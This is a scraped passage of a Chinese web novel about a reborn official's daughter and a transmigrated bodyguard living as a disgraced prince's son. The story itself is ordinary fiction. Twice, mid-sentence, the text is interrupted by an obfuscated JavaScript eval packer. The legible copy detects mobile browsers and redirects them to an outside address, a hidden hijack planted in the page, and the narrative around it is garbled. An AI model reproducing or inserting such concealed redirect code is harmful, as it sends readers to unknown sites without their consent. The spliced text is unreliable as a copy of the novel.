《云漪月明》 1. 乱葬岗杀人方便 崇历二十八年,冬月初九傍晚,京郊乱葬岗。 几只血红着眼的野狗在僵硬的尸堆旁,夹着尾巴焦躁的转来转去,却始终不敢凑上前。马上要入夜,这尸体冻上一夜,怕是更不好下口。它们旁边还躺着两具口鼻流血的野狗尸体。 “姑娘,这边也没有。”丫鬟打扮的青衫女子将手里的尸体放下,又用手里的木棍挑起另一具。 小姐打扮的鹅黄色衫裙女子面色凝重的点点头,“继续找,一定在这里”。 两人动作极快,只寻女尸,那自如的模样像是在胭脂铺里挑选胭脂。 “姑娘,咱们要不还是明日再来吧。天快黑了。” 青黛翻开一具女尸,脸上已经高度腐烂,高耸的颧骨刺破青白的腐肉裸露在外面,看着甚是渗人。这具也不是她们要找的。 冬日气温低,尸臭发散的慢。但乱葬岗这种地方,常年尸体不断,就算是寒冬腊月,那股味道也很难让人忽略。 且她们今日出来的时间太长,就算有绛珠在太太跟前遮掩,怕是也容易惹人怀疑。 “不行,今日必须找到她”没有抬头,沈云漪眉头微皱。 她明明记得,就是今日。“只翻新鲜的”。 忽的,沈云漪紧皱的眉头舒展开来,就是你,沈云芳。 地上的人重伤的只剩一口气,一身血衣躺在那里,不仔细看根本无法察觉。若是任她在这冰天雪地里躺上一晚,这最后一口气怕是也没了。 不过……她不就是为了断她这口气而来的吗? 沈云漪嘴角弯起一抹笑,飞快的从怀中取出一把弯刀,刀刃对准那女子的脖颈割去,却在最后关头猛地停下,她转头望向一旁。那是一具少年的尸体,此时正背对着她。 一直躺着装死的裴永昭此时心中不停的默念,看不见我,看不见我…… 谁家好人穿越直接穿到乱葬岗的,还真就让他碰上了。 一睁眼,满地的尸体不说,自己性别也由女变成了男,一惊又一惊还没惊完,又碰见这两个疯婆子在尸堆里乱翻。 上辈子当了十年保镖,什么变态没见过,就是没想到这么漂亮的两位古代姑娘,竟然有这样的癖好…… “姑娘?”发觉不对劲的青黛迅速来到沈云漪身前,眼睛一眨不眨的盯着地上躺着的裴永昭。 装死的裴永昭如芒在背。 “公子既然已经醒了,何必躺在这里装死?” 女子清越的声音如珠玉落盘,但在裴永昭耳中仿佛鬼魅的低语。他‘噌’的起身,爬起来就往前跑,却被拿着软剑的青黛拦住。 “我什么也没看到,什么也没听到,你们继续。”虽然知道这样的解释很苍白,但如今,裴永昭眼睛只顾着那剑刃上还挂着血珠的软剑,双手举在身前,一脸无辜的看看沈云漪,又看看青黛。 刚刚他可是亲眼看见青黛一把软剑,轻轻松松将还欲挑衅的野狗变成地上冰冷的狗尸的。 “你说没看见,没听见,我不相信” 沈云漪一双水灵灵的眼睛含笑盯着局促的裴永昭,嘴角也弯起一个甜美的笑。但她的笑意并没有抵达眼底,她眼底的冰冷,钉在裴永昭身上,让他情不自禁的打了个寒战。 “那你要怎样?难不成还要杀人灭口?” “对啊,活人的嘴哪里有死人的严实,更何况,这里是乱葬岗,杀人弃尸什么的,不是更方便吗——舒郡王世子?” 她认得自己? 裴永昭愣住,他刚刚穿越过来,记忆还没有完全融合,但随着沈云漪话落,大段的记忆像潮水般向他脑袋涌来。 他双手抱住头,感觉自己的脑袋像是要炸开一样。 察觉到他的异样,沈云漪愣了下,但很快恢复如常。正欲开口,就在此时,两名黑衣人突至。 “姑娘!”青黛举起软剑,将沈云漪护在身后。 看到他们三人,两名黑衣人也是有一瞬的愣怔,但很快,两人便将手中的剑向裴永昭他们刺去。 黑衣人武功干脆利落,直击他们几人要害。 青黛面色沉重,她自小练武,武功造诣不低,但是一下子对上两人,还要护着她家姑娘,实在有些力不从心。 “小心!” 裴永昭拉起沈云漪转身,剑刃贴着他们衣边划过。再偏一点,他们俩就要被串糖葫芦了。 “姑娘——” 被另一名黑衣人缠住的青黛握着剑焦急的望着沈云漪。 “我没事”沈云漪面上波澜不惊,倒是让裴永昭多看了几眼。 这小丫头看上去也就十三四岁的模样,看上去娇滴滴的,刚才的情形下,也不像是有功夫在身的。没想到胆量还不错。 “世子有功夫愣神,不如想想怎么脱身”。 发觉到裴永昭的心不在焉,沈云漪轻推了他一把,两人分别站立。对面的黑衣人看了看沈云漪,剑丝毫没有犹豫的冲着裴永昭刺来。 怪不得人常说,绝境是潜能的催化剂,此时的裴永昭就是已经被逼入了绝境。 上一世,他学了五年的散打,平时与两个成年男人对打都不成问题。但是如今这具身体,重伤未愈,逃跑都比人家姑娘跑地慢。 不过好在还是个男子的身体,爆发力还是有一些的。再加上他脑海中熟悉的招式动作,倒是与那黑衣人可以堪堪对上几招。 “快走” 一脚踹在那黑衣人胸口,裴云昭感觉鼻尖拂过一缕特殊的味道。 转过头想要催促沈云漪先逃,哪里还有沈云漪的半点影子。 就这一分神得功夫,黑衣人又向他追刺过来。他侧身一避,却牵拉到之前的伤口,动作迟缓下来。 裴永昭肩膀被刺中,发出一声痛呼。 好在青黛那边的黑衣人已经被解决,青黛持着软剑过来,黑衣人见同伴已死,下手更是不留情面。 几番打斗下来,青黛也受了伤,才勉强将那黑衣人解决掉。 “姑娘,时辰不早了,咱们得赶紧回府”不然让大太太秦氏知道了,怕是会生疑。青黛小心简单处理了下伤口,待会再去马车上将衣服换了,应该就瞧不出异样。 沈云漪原本今日是来陪秦氏去寒山寺上香,她使了些小手段让秦氏同意她先回府,半路上又变道来的乱葬岗,若是耽搁的时间太长,定会引起别人怀疑。 “姑娘,那……那人不见了!” 青黛指着本来躺着人的地方,如今哪里还有人影。 沈云漪微眯起眼,眼神中闪过杀意。她们今日来,为得就是她沈云芳,没想到还是让她逃过一劫。难道真的是她的女主气运未绝? 不过那又如何,既然让她重来一次,不管沈云芳有什么女主气运,在她沈云漪的这一生里,她就是主角。她要让上辈子、这辈子那些想要害她的人,都付出应有的代价。 “没事,总还有相见的机会” 今日秦氏,想必也不是单纯的来寒山寺上香祈福那么简单,她今晨起时心不在焉的模样,想必已经得到些消息。 “可是姑娘,他怎么办?” 青黛将软剑收好,为难的看着躺在地上昏迷不醒的裴永昭。“杀了?” 早就醒来的裴永昭心中一沉,仍旧闭着眼装死。 “不必” “可是姑娘,他今日撞见了我们,若是他胡说泄露出去,定是对她们不利的”。若是以后会惹出麻烦,不如今日就将人解决掉,反正是在乱葬岗,也省事。 “帮我一下”,沈云漪取出两枚药丸,一红一白,在青黛的协助下,直接塞入裴永昭的口中。这药丸遇水便化,还不待裴永昭吐出来,已经顺着喉咙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却不想今日刚出当铺便被宵小之人盯上,抢劫了他的银两,还将他截杀在了乱葬岗。 真的裴永昭其实早就死了,身上所有值钱的东西都已被洗劫一空。 如今换了芯子的裴永昭,身上受着重伤,还被那小姑娘下了毒,他只得凭借着原身的记忆,来寻这位他父王生前的好友,净圆大师相助。 净圆大师剃度前也是宗室子弟,却无心仕途,一心研究佛法,十五年前了断红尘,在寒山寺出家为僧。 舒郡王与净圆大师从小一起长大,交情深厚。裴永昭小时候,舒郡王也常带他来寒山寺拜访。 如今舒郡王府出事,旁人都躲避不及,若是还有谁能相助,恐怕只有身为方外之人的净圆大师了。 “开智,你去收拾一间禅房出来,天寒地冻,再添一炭盆。” “是” 开智双手合十,轻轻颔首。“请小施主随我来”。 “谢谢大师” 诚心道过谢,裴永昭被带到了后院的一间禅房,禅房不大,但是收拾的干净整洁,又添了炭盆,屋里顿时暖和起来。 “这是金疮药,你待会换上干净衣裳后自己擦上吧。”开智将一身干净的二衫放在床榻上。 “谢谢师傅”禅房里暖和,裴永昭本来冻僵的身体也暖过来,身上的伤口疼的更加明显,他便不再多加客气。 寒山寺坐落在冷泉山山顶,冷泉山以一眼冷泉闻名,相传这泉水冬暖夏凉,水质清甜甘冽,不少文人雅士都以取冷泉水泡茶为一雅事。 在寒山寺住了大半月,裴永昭身上的伤也好的差不多了。 就在他准备去向净圆大师告别,准备动身去迁州外祖家时,却被告知,有人要接他回京。 2. 回京 来的人裴永昭也认得,裴禛寿。不论是按辈分还是按血缘来算,他都要喊上一声伯父。 裴禛寿原是他父王裴禛远的庶兄,老舒郡王一共有两子,他还在世时将庶长子也就是裴禛寿过继给了同宗的一位表伯祖父。 也正是因为过继了,此次舒郡王府的灾祸才没有牵连到裴禛寿。 如今尘埃落定,皇上也已经绕过稚子性命,裴禛寿才多方打听裴永昭的下落,找到了寒山寺。 “这是你伯父”净圆大师看两人有些拘谨,率先开口道。 “伯父”裴永昭拱手行礼。他脑海中关于这位伯父的记忆也渐渐清晰起来。他出生时,伯父已经被过继出府。但是宗族里大大小小的节日聚会总会见面。每次见面,伯父都会送他些小玩意儿。 父王与伯父的关系也如常,并没有因为过继而疏远。 “哎——”裴禛寿听见这声伯父,眼眶有些泛红,他一开口,声音像裹着砂砾。“好孩子,你受苦了”。他小心将裴永昭拉过去,安抚似的拍了几下后背。“跟伯父回家吧?” “……好”顿了顿,裴永昭点头答应,如今的他,没有更好的选择。 虽然还有外祖家可以依靠,可从舒郡王府出事到现在,迁州距离京城再远,这么长的时间过去了,若是真的上心,蒋家早就来人了。 他无家可归,可常住在寒山寺也不是长久之计。 最重要的是,上次在乱葬岗,他和那两位姑娘碰到的黑衣人,那两名黑衣人的架势,更像是冲他来的。 所以他脱困之后第一时间寻求父王生前的好友净圆大师帮助,借住在寒山寺。寒山寺僧众多,香火旺盛,若是还有贼人想对他动手,必要好好思量。 有人想要对他赶尽杀绝,必然是他身上还有什么秘密令人不安,或许是跟他父王有关? 但是这几日在寒山寺养伤,裴永昭努力在记忆中翻找了几遍,也没有再找到任何有用的信息。 以后想要安安稳稳的生活,必要将这些谜团先解开,不然,那么多人想要他的性命,他往后的日子,想要睡个安稳觉都是奢望。 他本来就没有什么行李,简单收拾了下便随裴禛寿下了山。 寒山寺距离京城六十里路,考虑到裴永昭身上伤势未痊愈,裴禛寿还命人预备了马车。马车脚程慢,再快也要走上两个时辰。 一路上,裴禛寿也没有再说什么,只是让裴永昭阖眼休息,待到了府上再叫他。 马车晃晃悠悠,裴永昭很快便阖上了双眼。 好疼……裴永昭摸了下头上的伤,有些疑惑的抬起手。这手,纤细修长,明明是她原本的身体。 她不是穿越了?还是穿越到了一个叫裴永昭的少年身上。 可此时的她身上穿的是蓝白条纹的病号服,上面印着京市中心医院的字样。 头上伤口的疼痛和周围刺鼻的消毒水味道,时刻在提醒她,那是场梦,梦醒了,这才是现实。 “16床情况怎么样?” “脑死亡,随时都有生命危险,只是时间问题了。” “家属呢,家属没来?” “听说是孤儿院的孤儿,当时受伤是同事送来的,根本没有家属。” 听到医生和护士的对话,一旁站着昭月脸色有些苍白,她想到了自己。 她是孤儿,又自小跟着孤儿院的师傅学习散打,所以成年离开孤儿院后她选择了私人保镖这个工作。 当初选择这个工作,并不是这个工作有多好,工资有多高,她电影看多了有什么特工梦。 纯粹是当时她应聘时,经理只说了一个要求:因为工作性质特殊,要求工作人员必须随时待命,也要减少不必要的社交。 平时服务的客户身份都是非富即贵,这样的要求也是为了避免一些不必要的麻烦,能够理解。 不过这要求却正中昭月的下怀,她根本没有朋友,没有亲人,没有社交。这样一来 ,就不会显得她怪异,格格不入。 待到医生和护士离开,她看清楚他们口中的16床后,猛然愣住。 那病床上躺着的人,她再熟悉不过,不就是她吗? 她明明好端端地站在这里,为什么病床上还躺着一个她?而且刚刚听医生说,她已经脑死亡,没有救治的意义。 每个字她都听到了,怎么组合起来她又不懂了? 突然,警报器响起,病床上躺着的她脸色突然变得青灰。听到警报声的医生护士急忙展开抢救。 不过很遗憾,经过半小时的奋力抢救,她的心跳还是变成了一条直线。 她死了。 因为没有亲属,最后由民政部门牵头帮忙操办了她的后事。 她的生命截止在28岁生日这天,没错,今天是她的生日,她看见旁边日历上的数字,十一月初九。 巨大的悲痛感涌向心头,她眼睛酸涩得想哭。这个世界上,她最后的一点痕迹也被抹去了,就像她从未来过一样。 “醒醒,昭儿,咱们到了” 睁开眼,头顶是古色古香的装饰,裴禛寿满脸关切地望着他,裴永昭有些愣怔。 “孩子,你刚刚是不是被梦魇着了,没事了,以后都没事了。”裴禛寿安慰道。 马车外的声音渐渐嘈杂,小贩的叫卖声,男人的责骂声,女人的抱怨声,孩子的哭喊声不绝于耳。 “你伯娘已经把房间收拾好,你只管在府里安心住着,过几日我再帮你寻个骑射师傅,咱们宗室子弟尚武,这骑射武艺绝不能落下。” “好的,伯父”裴永昭点头应下,如果他记忆不差,自己这具身子的原主人好像不擅骑射,文理也不通。 因是舒郡王年纪而立之年才有了裴永昭,他又是独子。从小被母妃蒋氏娇惯着长大。 不仅是骑射功夫不佳,读书上裴永昭也从没下过多少力气,之前宗室里就传闻,他一年之内气跑了三位先生。文不成,武不就的纨绔,说得就是他这种人。 裴禛寿是三等宫廷宿卫,五品官职。平时宫里值守时间长,家里基本上都是妻子刘氏在操持。 他要去寒山寺接裴永昭回来这件事,刘氏是知晓的,不过因着舒郡王府才被抄了家,众人都觉得晦气,躲都来不及。他这个名不正言不顺的伯父却要往前凑,刘氏着实气的不轻。 “娘,爹还没回来?要不咱们先吃吧?” “吃吃吃,就知道吃,你这家都快成人家的了,还只长了一副吃心眼。”‘啪’的放下筷子,刘氏恨铁不成钢的瞪着大儿子裴永诚。 “哎呀娘,咱们不吃,清儿和她肚子里的孩子还得吃呢,这可是你亲孙子。”说着,不顾刘氏的眼刀,裴永诚夹了一块鱼肉放到小刘氏的碗里,“这鱼凉了就腥了,你快吃。” 小刘 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还是早年间他欠了舒郡王一个人情,才不得不答应去给裴永昭启蒙授课。这位汤老先生也是在裴永昭气走三位西席后,舒郡王府请的最后一位先生。 裴永常的年纪与裴永昭差不多,舒郡王便让他与裴永昭一起在舒郡王府上受先生教导。 按理说这样的同窗之谊,裴永常表现的不应该这样冷淡才对。 可是他跟没有听到裴华姝的问话一般,只是一味低头解着手里的九连环,不言语。 “太太,老爷回来了” 裴禛寿的马车刚停好,一只脚还未踏进前院,在门口候了许久的李妈妈就赶紧去内院送信。 “这是你伯娘,大哥二哥,小妹。” 裴禛寿帮裴永昭一一介绍,他们其实平常宗室里的大小聚会时也都见过,更何况裴永常还与他有过一段同窗之谊。 裴禛寿如今这样正式的介绍,也是为了缓解裴永昭的尴尬不自在。 “伯……娘,大哥,二哥,小妹”从小孤儿院长大,别的本事没有,察言观色的本事他还是有几分的。 很明显,伯娘刘氏不待见自己,从她脸上不加掩饰的厌恶就能看得出。 “三哥,以后你就住在我家了吗?太好了,我又多了个哥哥!” 裴华姝年纪小,只当自己又多了个哥哥,欣喜不已。 “都饿了吧,来来来,咱们先吃饭,吃完饭再谈其他”裴禛寿招呼裴永昭坐在他旁边,一旁候着的丫鬟婆子也将早已准备好的饭菜端上来。 用过晚饭,丫鬟帮裴永昭把行礼拿到前院东客房。那是刘氏帮他收拾出来的住处。 裴永昭则是随着裴禛寿来到书房,显然,裴禛寿还有些话想要问他。 裴禛寿的书房陈设简单,一眼便能望到底。 临窗的地方摆着桌案,靠墙的几面书架,上面放满了各类书籍,书房里还放着屏风,屏风后大抵还放着一张罗汉床,供暂时休息用。 “你父亲最后可曾留下什么话?”‘噼啪’烛芯随着裴禛寿的话落忽然炸开火花。 裴禛寿不疾不徐地拿起剪刀靠近烛台,剪下灯花。 “……未曾”思量了一下,裴永昭微微皱起鼻子,回答道。 这书房里有一股熟悉的味道,他好像在哪里闻到过。 3. 怀疑 那日在乱葬岗,他与黑衣人打斗时,曾经闻到过这个味道。 抬起头,裴永昭眯着眼睛仔细端详着伯父脸上的神情,威严又慈祥,却让他不由得心生警惕。 “这书房里的书籍有一半是你父王赠予我的,我学问不深,有些还是崭新的。你二哥常来翻阅,你若是用的到便来寻。” “好的伯父”躬身谢过,裴永昭眼睑微垂,长长的睫毛盖住眸子,叫人猜不透他在想什么。 裴禛寿见他淡淡的,还只当是提起了舒郡王的缘故。 他记得这孩子小时候是个皮猴似的性子,没想到经他父王一事,沉稳了许多。 “你去休息吧,缺什么就跟你伯娘说,不要拘谨。” 再次谢过伯父,裴永昭随着下人来到前院。 刚刚家宴上刘氏说了,前院东客房她提前好几日便让人收拾。 房间不大,收拾的也算干净整洁,该有的东西都有。 伺候的丫鬟已经在澡桶里放好热水,准备伺候他沐浴。 “三爷,奴婢是小月,以后在您屋里伺候”。小丫鬟看到进来的裴永昭,有一瞬的愣怔,随即红着脸行了礼。 刘氏从内院十几个丫鬟里面选了她来前院伺候,本来她心底里还有些怨言。 大奶奶如今身怀六甲,刘氏起了几次话头想再寻个贴心的伺候大爷。 以她的姿色,此等好事必定轮不到她人,如今却要来伺候罪臣之子。 可现在看到这位三爷的模样,她心中只剩下庆幸,庆幸夫人选派了她来伺候。 世上怎么会有如此俊秀的少年,墨玉般清透的眸子,长睫微垂,鼻梁高挺,面上不悲不喜,就只是站在那里不说话,便让人移不开眼。 自称小月的丫鬟十六七岁的模样,身着水红色窄袖短衫,下身穿着一条珠白的褶裙,面容清秀,身材婀娜,看向裴永昭时还带着几分羞赧。 就算再迟钝,裴永昭也知道这明晃晃的将人安排到他房里是什么意思。 不过就不知是刘氏的意思,还是伯父的意思。 “奴婢伺候三爷” 小月上手要帮裴永昭解衣衫,却被裴永昭侧身躲了过去。 “不用了,你退下吧”。 “可是……” 看到裴永昭回过身去,不予理会的模样,小月哭丧着脸推门出去。 临关门时还眼神幽怨的看了裴永昭一眼。 “呼——”裴永昭听见关门声,长长的舒了口气,才彻底放松下来。 他坐在靠近圆桌的椅子上,四处打量着屋内。 地上铺的青砖,经过打磨也是平整光滑。屏风后面的卧房布置的也很简单,墙边的衣柜里放着衣柜,木质的衣柜上刻着简单的回字纹,推开柜门,里面还放着几套衣裳,也是给他准备的。 靠近墙的位置放了一张架子床,床头旁边开了扇窗,窗棂上也是跟衣柜一样,刻着简单的回字纹。 推开窗,外面是棵桂花树,此时寒冬腊月,桂花香是闻不到了,但是雪堆在上面,也别是一番景致。 关上窗户,裴永昭走到浴桶旁,解开衣衫准备沐浴。 相比起刚刚穿越来面对自己陌生的身体时的尴尬窘迫,现在的他已经可以渐渐接受,不再排斥。 说实话,他排斥不接受也没用,又不能换回去。改变不了既定的事实,那他只能转变自己的思想。 他安慰自己,起码不用忍受每月那几日的痛苦。 遥想当年痛经痛得只能靠吃止疼药维持的日子,他情不自禁的摆了摆头,不想不想,现在也挺好。 不过,刘氏着急往他房里塞人他是没想到的。 以他浅薄的小说知识储备来看,古代男子成亲早,以他如今这个年纪,往房里放通房丫鬟确实也是寻常不过的事。 但是他父母双亡,丧期未满,若是现在他便跟房里的丫鬟不清不楚。怕是以后便要彻底的被钉在耻辱柱上了。 即便是以后翻了身,旁人提起,这也是他的污点。 还有他罪臣之子的身份,虽然死罪已经免了,但舒郡王府没了,没有爵位的他现在与普通宗室子弟无异。甚至还不如老实清白人家的宗室子弟,亲事上本就困难,再传出跟丫鬟厮混的名声,这好人家的姑娘是不会和他议亲的,那他的亲事只能被刘氏这位名义上的长辈拿捏。 虽然他如今情况特殊,根本没有想过成亲的事,但是被人这样算计,还是名义上的亲人,裴永昭心底里还是不舒服。 就是不知道伯父是否清楚这些,还是刘氏的所作所为都是他默许的。 怀疑的种子一旦埋下,便开始生根发芽。 盥洗完毕,裴永昭躺在床上,闭上眼睛,前世的记忆,属于原来裴永昭的记忆,都一股脑儿的向他涌来。 翌日清晨,裴永昭早早便起了。 他住的东客房外还有一所小院子,若是关上门,外面的人也不知道他在里面干什么。 那个叫小月的丫鬟去大厨房领早饭去了,小厮荣盛在一旁躬身伺候着,看到裴永昭在院子里压腿拉肩,做些怪异的动作,也没多嘴言语,只是赶忙将干净的汗巾递上。 “三爷,昨晚老爷派人来传信,说是今日要和您去宗学里拜见先生” “宗学?”伯父不是说这几日要给他请骑射师傅练习骑射吗? 他对这个朝代的武功还是很感兴趣的。 虽然不明白裴禛寿怎么突然改了主意,可如今他人在屋檐下,有些决定由不得他来做。 用过早饭,裴永昭回房换了身衣裳。 既然是去宗学,他便穿了身日常便服,浅蓝色直裰长衫,腰间系了条藏青色丝绦。头上用青玉小冠束起,最后外罩一件月白色毛领大氅御寒。 看着铜镜中的自己,裴永昭有一瞬间的愣神。这精致又不失棱角的五官,比他当女人时还要白皙细腻的皮肤,个子不矮,目测得有个一米八左右。 而且自己现在这具身体才十六岁,多吃点鸡蛋牛肉,这个子说不得还得窜上一窜。 寒山寺里哪能有这样又大又清晰的铜镜,他是第一次这样清晰的直面自己穿越后的容貌。 裴永昭微眯起眼睛,摸着扬起的下巴满意的抿起唇。一旁帮忙整理衣裳的小月抬头看了一眼,又羞怯的垂下头。 “今日你就回内院去吧,我不用丫鬟伺候”裴永昭又整理了下衣襟,淡淡地道。 “三爷若是嫌弃奴婢哪里伺候的不好尽管和奴婢说,或是惩罚奴婢也好,求您千万不要赶奴婢出去”扑通跪下,小月惶恐道。 刘氏派她过来伺候不过一日,就被灰溜溜的赶回去,若是这样回去,往后她还有什么脸面在府里伺候。 再者说来,她已经生了其他的心思,怎么可能甘心就这样回去。 紧紧的抿着唇,小月楚楚可怜的跪在地上,“三爷您就可怜可怜……哎?” 这房内哪里还有什么三爷? 宗学里有专门的学官,被称为博士、学谕。平日里的课程也是与他之前在府里时候学的差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621370|172259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,除了学习经史典籍,还得学习骑射功夫。当然,作为宗室子弟,各种礼仪规矩的学习也是必不可少的。 宗学里招收的都是宗室子弟,所以管教也颇为严格。 除了每日固定的课程学习,定期还有各种学业考核。考核不过还会有相应的处罚。 之前他在郡王府请西席也不愿去宗学,便是蒋氏听说宗学先生们教学严苛,不忍教裴永昭去受苦。没想到这“苦”最后还是让他尝上了。 看着裴永昭一副神思恍惚的模样,裴禛寿浓眉紧锁,耳边又响起昨夜刘氏的话来:“永昭这孩子从小就顽劣不受管教。原先舒郡王在世的时候就管不了他,如今你这个名不正言不顺的伯父就能管教的了?还请西席,请骑射先生,之前郡王妃就没给请过?不都被气走了?咱们府上不若郡王府那般银钱宽裕,全家指望着你那点子俸禄过活,你还要去请西席,你都没给你亲儿子请过!老二在宗学里不照样学得好好的,好苗子怎么培养都能长成材,至于永昭,我劝你省省吧!” 因为刘氏这番话,他气的当天晚上睡在了书房。但是转念一想,其实那话里,也有几分道理。 之前舒郡王亲自教导,都能让裴永昭连着气走三位西席,他自认为不能比舒郡王管教得更好,请到的先生也不一定比之前的强。 但是宗学里不一样,朝廷对入宗学的学官都有一套严苛的选拔规矩,但凡是能进入宗学授课的,都是各自领域的佼佼者。 所以才有了如今让裴永昭入宗学学习的决定。 宗学设在宗室营的中心位置,方便宗室子弟就近入学。 宗室营是宗室聚居之地,居住在此便是身份显贵的象征,所以就算宗室营里的房屋不甚宽敞,但宗室们仍旧不愿搬离。但是有些受了封赏被赐了宅子的宗室例外,就像舒郡王府。 “泽州饧,卖泽州饧喽,酥脆香甜的泽州饧——” “先停一下”正在嘱咐裴永昭待会见到先生该怎么说话行礼的裴禛寿突然招呼车夫停车,待马车停下,起身下了车。 裴永昭稀奇,也跟着下了马车。 摆了摆手,裴禛寿阻止了正准备掏荷包的荣盛。“来一包”说着,他掏出银钱递给刚才叫卖的老叟, 老叟笑着接过,将包好的饧递给裴禛寿。今日的生意不错,刚刚是位漂亮的姑娘要了两包。如今这最后一包也卖完了,他也能够早早收摊了。 “我记得你小时候最喜欢吃这泽州饧,不知现在可还喜欢?” 裴禛寿将纸包递给身后的裴永昭,裴永昭愣怔着接过,没想到伯父下车是去给他买饧。难为他还想着自己小时候爱吃的吃食,就是不知他是真记得,还是装的样子。 “听说了吗,沈家出事了?” “你这话没头没尾的,这京城里姓沈的那么多,你说的哪家?” “还能哪家,当朝左都御史沈家呗”街边的酒肆里,两人一边饮着滚烫的热酒,一边议论着当朝的一些奇闻轶事。 “听说如今那位被沈夫人娇养了十几年的沈家大小姐是假的,真正的沈家大小姐昨日刚被寻回来”。 “嘶——”听的人被惊得猛咽下一口酒,辣的斯哈乱叫,“你可别胡侃,小心被打板子。” “嗨,这有啥好胡侃的,听说那位真沈小姐是从京郊乱葬岗被人救下的。当时就已经没了半条命,害她的就是那位冒牌货……” 上了马车,那酒肆里的说话声便越来越远了,裴永昭拿着那包泽州饧陷入沉思,连伯父一旁说的什么都没听清。 4. 打脸(上) “伯父,刚才那些人口中的沈御史,伯父可认识?” “自然认识,沈御史为人正直,敢在朝堂上直面权贵,下恤民情,是我大齐的肱骨之臣。” 提起沈柏舟,裴禛寿语气中满是敬佩。他只是个五品侍卫,品级不高,在这京城遍地贵人的地方并不起眼。但是像沈柏舟这样的人物,就连妇孺小儿都要竖大拇指赞上一句好官。 刚才那两人的对话裴禛寿也听到了,没想到沈大人家中竟然遭遇这样离奇之事,真是让人感慨万千。果真应了那句老话,清官难断家务事,更何况是自己家的事。 真假千金? 难不成是那种家中奶娘将自己孩子与主家孩子调换,多年后真主儿回来认亲,打脸冒牌货的情节? 不过就那位的狠辣劲,倒是也挺符合恶毒女配的设定。 裴永昭许是想到了沈云漪吃瘪的模样,在心中已然笑出了声。 但是,猛地想起什么,裴永昭摸了摸衣袖里的东西。虽然说那丫头挺不讨人喜欢的,但是他给自己下了药,那解药还拿捏在人家手里。 得想办法再与她见一面,将全部的解药拿到手,省得到时候他们真假嫡女斗来斗去,把给他解毒的事给耽搁了。 与伯父两人说着话,宗学很快便到了。 大齐的宗学是在前朝宗学的基础上建立起来的,历经几代修葺扩建,规模已经相当宏大,几乎占了宗室营三分之一的面积。 除了宗室子弟,京中官阶高些的官员们也被准许送孩子入宗学学习。 前朝哲宗皇帝下令将宗学分为小学、大学。八至十五岁宗室子弟入小学,十五岁以上宗室子弟经考核合格后升入大学。 当朝太祖开国后,延续了这一制度,并且修改了具体的考核科目,增添了算筹、骑射等科目。 太祖皇帝说过,大齐是在马背上夺的天下,作为他的后辈子孙不能连骑射都不会。 他们到时,已经有学官候在门口。 先领着裴永昭到至圣先师孔子的神位前叩拜,继而叩拜完先生,这拜师礼才算完成。 学官领着他来到讲堂,先来到小学讲堂,这间小学讲堂里的学生年纪基本上都在十四五岁左右,经过明年秋考,合格者便可进入大学讲堂学习。 讲堂是木质建筑,四面开窗,里面的先生正在讲着算筹,下面的学生都在聚精会神的听着。 看到是小学讲堂,裴禛寿眉头皱起,“先生,永昭已经年满十六岁,是不是应该去大学讲堂?”他记得他家老二前年来宗学入学时便是直接去的大学讲堂,怎么如今还把他们带到小学讲堂来了。 “大人稍安勿躁,公子虽然年纪够了,但还需要经过先生考核后才能晋入大学学习。在此之前还是先在小学这里适应一段时间。” 裴永昭新奇的打量着这里,就算是在原身的记忆里,也从未有过关于这宗学的印象,所以这一切对他来说是真实的陌生。 裴禛寿还欲开口,却被裴永昭劝下,“伯父,这位先生说的对,我的课业落下不少,还是先在这小学……讲堂适应一段时间,待考核后再入大学学习也不迟” 笑话,原身这不学无术的纨绔,脑子里一点墨水也没给他留下。若是直接让他跳级去大学,他只能睁着两眼干瞪着,到时候丢人可就丢大发了。 他愿意留在这里还有一个重要原因,授课的这位先生正在讲算筹,相比起枯燥的四书五经,他对这个更感兴趣。 见裴永昭坚持,裴禛寿也只得点头答应。 与讲学的先生打好招呼,裴永昭便去后面找了个空位坐下。裴禛寿还有公事,便提前离开,将小厮荣盛留下,待会下学陪裴永昭一起回去。 “呦——这不是舒郡王世子吗?”说话的少年十五六岁,此时他环抱双臂坐靠在一旁的墙上,斜睨着刚刚坐下的裴永昭,脸上的不屑根本不加掩饰。 少年名唤裴承霄,也是宗室子弟。他爹裴永旻是护军营的护军参领,护军参领官居三品,又能时常在圣上跟前露脸,这也是他如此嚣张的理由。 他坐的位置和裴永昭相邻,两人都坐在讲堂最后面的位置。 看了他一眼,裴永昭不予理睬,这人明显想要找茬。 “怎么着,世子殿下贵人多忘事。”去年的中秋宴上,他裴永昭可没这么低调。 那次他可是差点被他爹打断腿,也被宗室里相熟的几个少年笑话了大半年。 这面子他是丢了,但是今日他要找回来。 皱起眉头淡淡地瞥了眼旁边一直聒噪不停的裴承霄,裴永昭又满脸认真的望向前面授课的先生。怪不得这小子一直在小学待着,原来是上课老说话,留级了。 算筹课的先生姓许,许先生此时手里拿着一卷关于漕运的算筹难题,“如今有大小货船共二十艘,五千石货品。大船可以载重三百石,小船可以载重一百石。如何分配这五千石货品,可以用这二十艘货船刚好装完?” 脑海中分析着先生刚才的抛出的问题,没有注意身下的椅子正在被人抽走,幸亏他反应快,及时扶着桌子站住,他转头怒瞪了那小子一眼,之前没搭理他,并不代表怕他。 他们这边闹出的动静不小,许先生有些不悦的往他们这边看来。 “许先生,您这个问题刚才裴永昭说他会,他想一试。”将椅子随手一推,推到墙角,裴承霄一脸坏笑地道。 “裴承霄,你胡说什么呢?这位前——舒郡王世子可是有名的草包。” “对啊,我听说他之前可是气跑了好几位先生。你让他解题,难不成你也想让他把许先生气跑不成?” 那人说完,讲堂内的众人都哄堂大笑。 